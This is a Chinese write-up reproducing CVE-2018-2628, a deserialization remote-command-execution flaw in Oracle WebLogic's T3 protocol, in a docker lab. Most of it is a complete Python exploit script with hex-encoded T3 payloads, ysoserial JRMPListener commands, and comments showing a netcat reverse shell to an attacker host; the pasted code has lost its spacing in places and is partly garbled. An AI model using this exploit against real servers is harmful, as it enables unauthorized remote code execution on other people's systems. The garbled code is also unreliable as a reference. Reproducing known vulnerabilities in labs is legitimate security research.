CVE-2018-2628漏洞复现

一：JRMP协议：

JRMP:java remote method protocol，Java远程方法协议

JRMP是的Java技术协议的具体对象为希望和远程引用。JRMP只能是一个Java特有的,基于流的协议。相对于的RMI - IIOP的 ，该协议JRMP只能是一个对象的Java到Java的远程调用，这使得它依赖语言，意思是客户端和服务器必须使用Java。

JRMP:Java远程消息交换协议JRMP（Java Remote Messaging Protocol）

该协议基于TCP/IP，既然是作为信息交换协议，必然存在接收和发送两个端点，JRMPListener可以粗糙的理解为发送端，在本实验中意为攻击机上1099端口与weblogic靶机上的7001进行通信达到远程命令执行的目的。

二：CVE-2018-2628漏洞复现

Weblogic Server WLS Core Components中出现的一个反序列化漏洞（CVE-2018-2628），该漏洞通过t3协议触发，可导致未授权的用户在远程服务器执行任意命令。

环境搭建：docker-compose up -d

首先下载ysoserial，并启动一个JRMP Server：

wget https://github.com/brianwrf/ysoserial/releases/download/0.0.6-pri-beta/ysoserial-0.0.6-SNAPSHOT-BETA-all.jar

cp ysoserial-0.0.6-SNAPSHOT-BETA-all.jar   ysoserial.jar

java -cp ysoserial-0.0.6-SNAPSHOT-BETA-all.jar ysoserial.exploit.JRMPListener [listen port] CommonsCollections1 [command]

例子：java -cp ysoserial.jar ysoserial.exploit.JRMPListener 1099 CommonsCollections1 'touch /tmp/sss666.txt'

其中，[command]即为我想执行的命令，而[listen port]是JRMP Server监听的端口。

然后，使用exploit.py脚本，向目标Weblogic（http://your-ip:7001）发送数据包：

python exploit.py [victim ip] [victim port] [path to ysoserial] [JRMPListener ip] [JRMPListener port] [JRMPClient]

例子：python exploit.py you-ip 7001 ysoserial.jar  you-ip 1099 JRMPClient

现在看 JRMP Serve：

exploit.py执行完成后，执行docker exec -ti cve-2018-2628_weblogic_1 /bin/bash进入容器中，可见/tmp/success已成功创建。

附件：exploit.py

# -*- coding: utf-8 -*-# Oracle Weblogic Server (10.3.6.0, 12.1.3.0, 12.2.1.2, 12.2.1.3) Deserialization Remote Command Execution Vulnerability (CVE-2018-2628)## IMPORTANT: Is provided only for educational or information purposes.## Credit: Thanks by Liao Xinxi of NSFOCUS Security Team# Reference:http://mp.weixin.qq.com/s/nYY4zg2m2xsqT0GXa9pMGA## How to exploit:# 1. run below command on JRMPListener host# 1) wgethttps://github.com/brianwrf/ysoserial/releases/download/0.0.6-pri-beta/ysoserial-0.0.6-SNAPSHOT-BETA-all.jar# 2) java -cp ysoserial-0.0.6-SNAPSHOT-BETA-all.jar ysoserial.exploit.JRMPListener [listen port] CommonsCollections1 [command]# e.g. java -cp ysoserial-0.0.6-SNAPSHOT-BETA-all.jar ysoserial.exploit.JRMPListener 1099 CommonsCollections1 'nc -nv 10.0.0.5 4040'# 2. start a listener on attacker host# e.g. nc -nlvp 4040# 3. run this script on attacker host# 1) wgethttps://github.com/brianwrf/ysoserial/releases/download/0.0.6-pri-beta/ysoserial-0.0.6-SNAPSHOT-BETA-all.jar# 2) python exploit.py [victim ip] [victim port] [path to ysoserial] [JRMPListener ip] [JRMPListener port] [JRMPClient]# e.g.# a) python exploit.py 10.0.0.11 7001 ysoserial-0.0.6-SNAPSHOT-BETA-all.jar 10.0.0.5 1099 JRMPClient (Using java.rmi.registry.Registry)# b) python exploit.py 10.0.0.11 7001 ysoserial-0.0.6-SNAPSHOT-BETA-all.jar 10.0.0.5 1099 JRMPClient2 (Using java.rmi.activation.Activator)

from__future__importprint_function

importbinascii

importos

importsocket

importsys

importtime

defgenerate_payload(path_ysoserial,jrmp_listener_ip,jrmp_listener_port,jrmp_client):

#generates ysoserial payload

command='java -jar {} {} {}:{} > payload.out'.format(path_ysoserial,jrmp_client,jrmp_listener_ip,jrmp_listener_port)

print("command: "+command)

os.system(command)

bin_file=open('payload.out','rb').read()

returnbinascii.hexlify(bin_file)

deft3_handshake(sock,server_addr):

sock.connect(server_addr)

sock.send('74332031322e322e310a41533a3235350a484c3a31390a4d533a31303030303030300a0a'.decode('hex'))

time.sleep(1)

sock.recv(1024)

print('handshake successful')

defbuild_t3_request_object(sock,port):

data1='000005c3016501ffffffffffffffff0000006a0000ea600000001900937b484a56fa4a777666f581daa4f5b90e2aebfc607499b4027973720078720178720278700000000a000000030000000000000006007070707070700000000a000000030000000000000006007006fe010000aced00057372001d7765626c6f6769632e726a766d2e436c6173735461626c65456e7472792f52658157f4f9ed0c000078707200247765626c6f6769632e636f6d6d6f6e2e696e7465726e616c2e5061636b616765496e666fe6f723e7b8ae1ec90200084900056d616a6f724900056d696e6f7249000c726f6c6c696e67506174636849000b736572766963655061636b5a000e74656d706f7261727950617463684c0009696d706c5469746c657400124c6a6176612f6c616e672f537472696e673b4c000a696d706c56656e646f7271007e00034c000b696d706c56657273696f6e71007e000378707702000078fe010000aced00057372001d7765626c6f6769632e726a766d2e436c6173735461626c65456e7472792f52658157f4f9ed0c000078707200247765626c6f6769632e636f6d6d6f6e2e696e7465726e616c2e56657273696f6e496e666f972245516452463e0200035b00087061636b616765737400275b4c7765626c6f6769632f636f6d6d6f6e2f696e7465726e616c2f5061636b616765496e666f3b4c000e72656c6561736556657273696f6e7400124c6a6176612f6c616e672f537472696e673b5b001276657273696f6e496e666f417342797465737400025b42787200247765626c6f6769632e636f6d6d6f6e2e696e7465726e616c2e5061636b616765496e666fe6f723e7b8ae1ec90200084900056d616a6f724900056d696e6f7249000c726f6c6c696e67506174636849000b736572766963655061636b5a000e74656d706f7261727950617463684c0009696d706c5469746c6571007e00044c000a696d706c56656e646f7271007e00044c000b696d706c56657273696f6e71007e000478707702000078fe010000aced00057372001d7765626c6f6769632e726a766d2e436c6173735461626c65456e7472792f52658157f4f9ed0c000078707200217765626c6f6769632e636f6d6d6f6e2e696e7465726e616c2e50656572496e666f585474f39bc908f10200064900056d616a6f724900056d696e6f7249000c726f6c6c696e67506174636849000b736572766963655061636b5a000e74656d706f7261727950617463685b00087061636b616765737400275b4c7765626c6f6769632f636f6d6d6f6e2f696e7465726e616c2f5061636b616765496e666f3b787200247765626c6f6769632e636f6d6d6f6e2e696e7465726e616c2e56657273696f6e496e666f972245516452463e0200035b00087061636b6167657371'

data2='007e00034c000e72656c6561736556657273696f6e7400124c6a6176612f6c616e672f537472696e673b5b001276657273696f6e496e666f417342797465737400025b42787200247765626c6f6769632e636f6d6d6f6e2e696e7465726e616c2e5061636b616765496e666fe6f723e7b8ae1ec90200084900056d616a6f724900056d696e6f7249000c726f6c6c696e67506174636849000b736572766963655061636b5a000e74656d706f7261727950617463684c0009696d706c5469746c6571007e00054c000a696d706c56656e646f7271007e00054c000b696d706c56657273696f6e71007e000578707702000078fe00fffe010000aced0005737200137765626c6f6769632e726a766d2e4a564d4944dc49c23ede121e2a0c000078707750210000000000000000000d3139322e3136382e312e323237001257494e2d4147444d565155423154362e656883348cd6000000070000{0}ffffffffffffffffffffffffffffffffffffffffffffffff78fe010000aced0005737200137765626c6f6769632e726a766d2e4a564d4944dc49c23ede121e2a0c0000787077200114dc42bd07'.format('{:04x}'.format(dport))

data3='1a7727000d3234322e323134'

data4='2e312e32353461863d1d0000000078'

fordin[data1,data2,data3,data4]:

sock.send(d.decode('hex'))

time.sleep(2)

print('send request payload successful,recv length:%d'%(len(sock.recv(2048))))

defsend_payload_objdata(sock,data):

payload='056508000000010000001b0000005d010100737201787073720278700000000000000000757203787000000000787400087765626c6f67696375720478700000000c9c979a9a8c9a9bcfcf9b939a7400087765626c6f67696306fe010000aced00057372001d7765626c6f6769632e726a766d2e436c6173735461626c65456e7472792f52658157f4f9ed0c000078707200025b42acf317f8060854e002000078707702000078fe010000aced00057372001d7765626c6f6769632e726a766d2e436c6173735461626c65456e7472792f52658157f4f9ed0c000078707200135b4c6a6176612e6c616e672e4f626a6563743b90ce589f1073296c02000078707702000078fe010000aced00057372001d7765626c6f6769632e726a766d2e436c6173735461626c65456e7472792f52658157f4f9ed0c000078707200106a6176612e7574696c2e566563746f72d9977d5b803baf010300034900116361706163697479496e6372656d656e7449000c656c656d656e74436f756e745b000b656c656d656e74446174617400135b4c6a6176612f6c616e672f4f626a6563743b78707702000078fe010000'

payload+=data

payload+='fe010000aced0005737200257765626c6f6769632e726a766d2e496d6d757461626c6553657276696365436f6e74657874ddcba8706386f0ba0c0000787200297765626c6f6769632e726d692e70726f76696465722e426173696353657276696365436f6e74657874e4632236c5d4a71e0c0000787077020600737200267765626c6f6769632e726d692e696e7465726e616c2e4d6574686f6444657363726970746f7212485a828af7f67b0c000078707734002e61757468656e746963617465284c7765626c6f6769632e73656375726974792e61636c2e55736572496e666f3b290000001b7878fe00ff'

payload='%s%s'%('{:08x}'.format(len(payload)/2+4),payload)

sock.send(payload.decode('hex'))

time.sleep(2)

sock.send(payload.decode('hex'))

res=''

try:

whileTrue:

res+=sock.recv(4096)

time.sleep(0.1)

exceptException:

pass

returnres

defexploit(dip,dport,path_ysoserial,jrmp_listener_ip,jrmp_listener_port,jrmp_client):

sock=socket.socket(socket.AF_INET,socket.SOCK_STREAM)

sock.settimeout(65)

server_addr=(dip,dport)

t3_handshake(sock,server_addr)

build_t3_request_object(sock,dport)

payload=generate_payload(path_ysoserial,jrmp_listener_ip,jrmp_listener_port,jrmp_client)

print("payload: "+payload)

rs=send_payload_objdata(sock,payload)

print('response: '+rs)

print('exploit completed!')

if__name__=="__main__":

#check for args, print usage if incorrect

iflen(sys.argv)!=7:

print('\nUsage:\nexploit.py [victim ip] [victim port] [path to ysoserial] '

'[JRMPListener ip] [JRMPListener port] [JRMPClient]\n')

sys.exit()

dip=sys.argv[1]

dport=int(sys.argv[2])

path_ysoserial=sys.argv[3]

jrmp_listener_ip=sys.argv[4]

jrmp_listener_port=sys.argv[5]

jrmp_client=sys.argv[6]

exploit(dip,dport,path_ysoserial,jrmp_listener_ip,jrmp_listener_port,jrmp_client)